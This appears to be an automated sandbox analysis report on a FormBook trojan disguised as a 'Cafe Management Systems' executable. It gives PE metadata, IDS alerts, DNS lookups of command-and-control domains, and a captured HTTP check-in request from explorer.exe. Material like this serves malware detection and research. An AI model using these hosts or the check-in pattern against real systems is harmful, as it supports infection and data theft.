File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.Oa..............0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x46d816
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614FC662 [Sun Sep 26 01:01:22 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6d7c4	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6e000	0x658	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6b81c	0x6ba00	False	0.852605981417	data	7.57244291129	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x6e000	0x658	0x800	False	0.34033203125	data	3.53078512216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x70000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x6e090	0x3c8	data
RT_MANIFEST	0x6e468	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2018 - 2021
Assembly Version	1.0.0.0
InternalName	ResourceTableMappingEntryField.exe
FileVersion	1.0.0.0
CompanyName	XCodes
LegalTrademarks
Comments
ProductName	Cafe Management Systems
ProductVersion	1.0.0.0
FileDescription	Cafe Management Systems
OriginalFilename	ResourceTableMappingEntryField.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/27/21-17:55:12.501653	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.2.4	34.102.136.180
09/27/21-17:55:12.501653	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.2.4	34.102.136.180
09/27/21-17:55:12.501653	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.2.4	34.102.136.180
09/27/21-17:55:12.615388	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49802	34.102.136.180	192.168.2.4
09/27/21-17:55:17.866120	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49818	34.102.136.180	192.168.2.4
09/27/21-17:55:28.479546	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49820	80	192.168.2.4	34.252.217.69
09/27/21-17:55:28.479546	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49820	80	192.168.2.4	34.252.217.69
09/27/21-17:55:28.479546	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49820	80	192.168.2.4	34.252.217.69
09/27/21-17:55:49.292538	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49843	80	192.168.2.4	103.100.209.77
09/27/21-17:55:49.292538	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49843	80	192.168.2.4	103.100.209.77
09/27/21-17:55:49.292538	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49843	80	192.168.2.4	103.100.209.77
09/27/21-17:56:17.096940	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49871	80	192.168.2.4	209.99.64.43
09/27/21-17:56:17.096940	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49871	80	192.168.2.4	209.99.64.43
09/27/21-17:56:17.096940	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49871	80	192.168.2.4	209.99.64.43

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 17:55:12.487960100 CEST	49802	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:12.501250982 CEST	80	49802	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:12.501367092 CEST	49802	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:12.501652956 CEST	49802	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:12.514234066 CEST	80	49802	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:12.615387917 CEST	80	49802	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:12.615425110 CEST	80	49802	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:12.615672112 CEST	49802	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:12.615711927 CEST	49802	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:12.628406048 CEST	80	49802	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:17.669399977 CEST	49818	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:17.685142994 CEST	80	49818	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:17.685412884 CEST	49818	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:17.685591936 CEST	49818	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:17.698788881 CEST	80	49818	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:17.866120100 CEST	80	49818	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:17.866156101 CEST	80	49818	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:17.866466045 CEST	49818	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:17.866560936 CEST	49818	80	192.168.2.4	34.102.136.180
Sep 27, 2021 17:55:17.879565954 CEST	80	49818	34.102.136.180	192.168.2.4
Sep 27, 2021 17:55:22.923449039 CEST	49819	80	192.168.2.4	184.168.131.241
Sep 27, 2021 17:55:23.104924917 CEST	80	49819	184.168.131.241	192.168.2.4
Sep 27, 2021 17:55:23.105020046 CEST	49819	80	192.168.2.4	184.168.131.241
Sep 27, 2021 17:55:23.105173111 CEST	49819	80	192.168.2.4	184.168.131.241
Sep 27, 2021 17:55:23.287373066 CEST	80	49819	184.168.131.241	192.168.2.4
Sep 27, 2021 17:55:23.340370893 CEST	80	49819	184.168.131.241	192.168.2.4
Sep 27, 2021 17:55:23.340398073 CEST	80	49819	184.168.131.241	192.168.2.4
Sep 27, 2021 17:55:23.340558052 CEST	49819	80	192.168.2.4	184.168.131.241
Sep 27, 2021 17:55:23.340625048 CEST	49819	80	192.168.2.4	184.168.131.241
Sep 27, 2021 17:55:23.522697926 CEST	80	49819	184.168.131.241	192.168.2.4
Sep 27, 2021 17:55:28.442023039 CEST	49820	80	192.168.2.4	34.252.217.69
Sep 27, 2021 17:55:28.478934050 CEST	80	49820	34.252.217.69	192.168.2.4
Sep 27, 2021 17:55:28.479159117 CEST	49820	80	192.168.2.4	34.252.217.69
Sep 27, 2021 17:55:28.479546070 CEST	49820	80	192.168.2.4	34.252.217.69
Sep 27, 2021 17:55:28.516602993 CEST	80	49820	34.252.217.69	192.168.2.4
Sep 27, 2021 17:55:28.520457983 CEST	80	49820	34.252.217.69	192.168.2.4
Sep 27, 2021 17:55:28.520497084 CEST	80	49820	34.252.217.69	192.168.2.4
Sep 27, 2021 17:55:28.520797968 CEST	49820	80	192.168.2.4	34.252.217.69
Sep 27, 2021 17:55:28.520929098 CEST	49820	80	192.168.2.4	34.252.217.69
Sep 27, 2021 17:55:28.557346106 CEST	80	49820	34.252.217.69	192.168.2.4
Sep 27, 2021 17:55:33.636688948 CEST	49821	80	192.168.2.4	213.5.70.60
Sep 27, 2021 17:55:33.661259890 CEST	80	49821	213.5.70.60	192.168.2.4
Sep 27, 2021 17:55:33.664014101 CEST	49821	80	192.168.2.4	213.5.70.60
Sep 27, 2021 17:55:33.664252996 CEST	49821	80	192.168.2.4	213.5.70.60
Sep 27, 2021 17:55:33.688715935 CEST	80	49821	213.5.70.60	192.168.2.4
Sep 27, 2021 17:55:33.689775944 CEST	80	49821	213.5.70.60	192.168.2.4
Sep 27, 2021 17:55:33.690278053 CEST	49821	80	192.168.2.4	213.5.70.60
Sep 27, 2021 17:55:33.690399885 CEST	49821	80	192.168.2.4	213.5.70.60
Sep 27, 2021 17:55:33.714744091 CEST	80	49821	213.5.70.60	192.168.2.4
Sep 27, 2021 17:55:49.097541094 CEST	49843	80	192.168.2.4	103.100.209.77
Sep 27, 2021 17:55:49.292098999 CEST	80	49843	103.100.209.77	192.168.2.4
Sep 27, 2021 17:55:49.292382002 CEST	49843	80	192.168.2.4	103.100.209.77
Sep 27, 2021 17:55:49.292537928 CEST	49843	80	192.168.2.4	103.100.209.77
Sep 27, 2021 17:55:49.488394022 CEST	80	49843	103.100.209.77	192.168.2.4
Sep 27, 2021 17:55:49.488429070 CEST	80	49843	103.100.209.77	192.168.2.4
Sep 27, 2021 17:55:49.488816023 CEST	49843	80	192.168.2.4	103.100.209.77
Sep 27, 2021 17:55:49.488869905 CEST	49843	80	192.168.2.4	103.100.209.77
Sep 27, 2021 17:55:49.683636904 CEST	80	49843	103.100.209.77	192.168.2.4
Sep 27, 2021 17:55:54.558693886 CEST	49844	80	192.168.2.4	74.208.236.139
Sep 27, 2021 17:55:54.691288948 CEST	80	49844	74.208.236.139	192.168.2.4
Sep 27, 2021 17:55:54.691519022 CEST	49844	80	192.168.2.4	74.208.236.139
Sep 27, 2021 17:55:54.691708088 CEST	49844	80	192.168.2.4	74.208.236.139
Sep 27, 2021 17:55:54.824775934 CEST	80	49844	74.208.236.139	192.168.2.4
Sep 27, 2021 17:55:55.071660995 CEST	80	49844	74.208.236.139	192.168.2.4
Sep 27, 2021 17:55:55.071681023 CEST	80	49844	74.208.236.139	192.168.2.4
Sep 27, 2021 17:55:55.075066090 CEST	49844	80	192.168.2.4	74.208.236.139
Sep 27, 2021 17:55:55.075100899 CEST	49844	80	192.168.2.4	74.208.236.139
Sep 27, 2021 17:55:55.216759920 CEST	80	49844	74.208.236.139	192.168.2.4
Sep 27, 2021 17:56:00.245167971 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.386185884 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.387414932 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.387617111 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.528702974 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.801204920 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.802794933 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.804419994 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805219889 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.805241108 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805265903 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805289030 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805313110 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805321932 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.805336952 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805345058 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.805360079 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805382967 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.805393934 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.805439949 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.946299076 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946351051 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946372986 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946397066 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946419954 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946445942 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.946469069 CEST	80	49845	162.241.61.210	192.168.2.4
Sep 27, 2021 17:56:00.948535919 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:00.948575020 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:01.633322954 CEST	49845	80	192.168.2.4	162.241.61.210
Sep 27, 2021 17:56:01.777184963 CEST	80	49845	162.241.61.210	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 17:54:25.155308962 CEST	49257	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:25.184159994 CEST	53	49257	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:48.498466015 CEST	62389	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:48.512417078 CEST	53	62389	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:49.158787012 CEST	49910	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:49.173811913 CEST	53	49910	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:49.929155111 CEST	55854	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:49.942218065 CEST	53	55854	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:50.455924034 CEST	64549	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:50.487427950 CEST	63153	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:50.488908052 CEST	53	64549	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:50.500950098 CEST	53	63153	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:51.165026903 CEST	52991	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:51.178481102 CEST	53	52991	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:52.241451979 CEST	53700	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:52.255192995 CEST	53	53700	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:54.329999924 CEST	51726	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:54.401370049 CEST	53	51726	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:56.203871012 CEST	56794	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:56.270222902 CEST	53	56794	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:57.067940950 CEST	56534	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:57.152224064 CEST	53	56534	8.8.8.8	192.168.2.4
Sep 27, 2021 17:54:57.642628908 CEST	56627	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:54:57.655447006 CEST	53	56627	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:05.540107965 CEST	56621	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:05.561368942 CEST	53	56621	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:07.083395958 CEST	63116	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:07.122678995 CEST	53	63116	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:12.453551054 CEST	64078	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:12.482510090 CEST	53	64078	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:17.625284910 CEST	64801	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:17.665668011 CEST	53	64801	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:22.896137953 CEST	61721	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:22.922290087 CEST	53	61721	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:28.364178896 CEST	51255	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:28.439892054 CEST	53	51255	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:33.564146996 CEST	61522	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:33.632623911 CEST	53	61522	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:36.916059971 CEST	52337	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:36.929743052 CEST	53	52337	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:37.640264034 CEST	55046	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:37.653201103 CEST	53	55046	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:38.722229958 CEST	49612	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:38.846456051 CEST	53	49612	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:43.865288973 CEST	49285	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:43.892141104 CEST	53	49285	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:48.908591032 CEST	50601	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:49.096210957 CEST	53	50601	8.8.8.8	192.168.2.4
Sep 27, 2021 17:55:54.525449038 CEST	60875	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:55:54.556010962 CEST	53	60875	8.8.8.8	192.168.2.4
Sep 27, 2021 17:56:00.082221985 CEST	56448	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:56:00.242336988 CEST	53	56448	8.8.8.8	192.168.2.4
Sep 27, 2021 17:56:06.646498919 CEST	59172	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:56:06.681133986 CEST	53	59172	8.8.8.8	192.168.2.4
Sep 27, 2021 17:56:09.745883942 CEST	62420	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:56:09.787056923 CEST	53	62420	8.8.8.8	192.168.2.4
Sep 27, 2021 17:56:16.813499928 CEST	60579	53	192.168.2.4	8.8.8.8
Sep 27, 2021 17:56:16.937889099 CEST	53	60579	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 17:55:07.083395958 CEST	192.168.2.4	8.8.8.8	0x8686	Standard query (0)	www.lakeefctmich.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:12.453551054 CEST	192.168.2.4	8.8.8.8	0x205d	Standard query (0)	www.josiemaran-supernatural.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:17.625284910 CEST	192.168.2.4	8.8.8.8	0x186	Standard query (0)	www.apexpropertiesltd.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:22.896137953 CEST	192.168.2.4	8.8.8.8	0xca11	Standard query (0)	www.tameka-stewart.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:28.364178896 CEST	192.168.2.4	8.8.8.8	0x3350	Standard query (0)	www.khlopok.club	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:33.564146996 CEST	192.168.2.4	8.8.8.8	0xad6b	Standard query (0)	www.tovardarom.xyz	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:38.722229958 CEST	192.168.2.4	8.8.8.8	0xd08a	Standard query (0)	www.zambiaedu.xyz	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:43.865288973 CEST	192.168.2.4	8.8.8.8	0x7f5e	Standard query (0)	www.bajajfinservmutualfund.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:48.908591032 CEST	192.168.2.4	8.8.8.8	0xcc59	Standard query (0)	www.lianshangtron.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:54.525449038 CEST	192.168.2.4	8.8.8.8	0x1fa1	Standard query (0)	www.nutritionhawks.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:00.082221985 CEST	192.168.2.4	8.8.8.8	0x6578	Standard query (0)	www.trasportesemmanuel.com	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:06.646498919 CEST	192.168.2.4	8.8.8.8	0xf40	Standard query (0)	www.novasaude-g1.online	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:16.813499928 CEST	192.168.2.4	8.8.8.8	0xc5ac	Standard query (0)	www.studyengland.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 17:55:07.122678995 CEST	8.8.8.8	192.168.2.4	0x8686	Name error (3)	www.lakeefctmich.com	none	none	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:12.482510090 CEST	8.8.8.8	192.168.2.4	0x205d	No error (0)	www.josiemaran-supernatural.com	josiemaran-supernatural.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 17:55:12.482510090 CEST	8.8.8.8	192.168.2.4	0x205d	No error (0)	josiemaran-supernatural.com		34.102.136.180	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:17.665668011 CEST	8.8.8.8	192.168.2.4	0x186	No error (0)	www.apexpropertiesltd.com	apexpropertiesltd.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 17:55:17.665668011 CEST	8.8.8.8	192.168.2.4	0x186	No error (0)	apexpropertiesltd.com		34.102.136.180	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:22.922290087 CEST	8.8.8.8	192.168.2.4	0xca11	No error (0)	www.tameka-stewart.com	tameka-stewart.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 17:55:22.922290087 CEST	8.8.8.8	192.168.2.4	0xca11	No error (0)	tameka-stewart.com		184.168.131.241	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:28.439892054 CEST	8.8.8.8	192.168.2.4	0x3350	No error (0)	www.khlopok.club	khlopok.club		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 17:55:28.439892054 CEST	8.8.8.8	192.168.2.4	0x3350	No error (0)	khlopok.club		34.252.217.69	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:33.632623911 CEST	8.8.8.8	192.168.2.4	0xad6b	No error (0)	www.tovardarom.xyz	tovardarom.xyz		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 17:55:33.632623911 CEST	8.8.8.8	192.168.2.4	0xad6b	No error (0)	tovardarom.xyz		213.5.70.60	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:38.846456051 CEST	8.8.8.8	192.168.2.4	0xd08a	Server failure (2)	www.zambiaedu.xyz	none	none	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:49.096210957 CEST	8.8.8.8	192.168.2.4	0xcc59	No error (0)	www.lianshangtron.com		103.100.209.77	A (IP address)	IN (0x0001)
Sep 27, 2021 17:55:54.556010962 CEST	8.8.8.8	192.168.2.4	0x1fa1	No error (0)	www.nutritionhawks.com		74.208.236.139	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:00.242336988 CEST	8.8.8.8	192.168.2.4	0x6578	No error (0)	www.trasportesemmanuel.com		162.241.61.210	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:06.681133986 CEST	8.8.8.8	192.168.2.4	0xf40	No error (0)	www.novasaude-g1.online		172.67.153.117	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:06.681133986 CEST	8.8.8.8	192.168.2.4	0xf40	No error (0)	www.novasaude-g1.online		104.21.3.64	A (IP address)	IN (0x0001)
Sep 27, 2021 17:56:16.937889099 CEST	8.8.8.8	192.168.2.4	0xc5ac	No error (0)	www.studyengland.com		209.99.64.43	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.josiemaran-supernatural.com

www.apexpropertiesltd.com

www.tameka-stewart.com

www.khlopok.club

www.tovardarom.xyz

www.lianshangtron.com

www.nutritionhawks.com

www.trasportesemmanuel.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49802	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:12.501652956 CEST	5828	OUT	GET /b5ce/?7nqLWRV0=/AI3JQDCZyk/6ubsQmnvJO3EeIaIHb6AvonvM2F4xgXAwnTSleK6/XaIEVHpjjtFOEyF&DJE8X=4hlh3 HTTP/1.1 Host: www.josiemaran-supernatural.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:12.615387917 CEST	5829	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 27 Sep 2021 15:55:12 GMT Content-Type: text/html Content-Length: 275 ETag: "6139ed55-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html 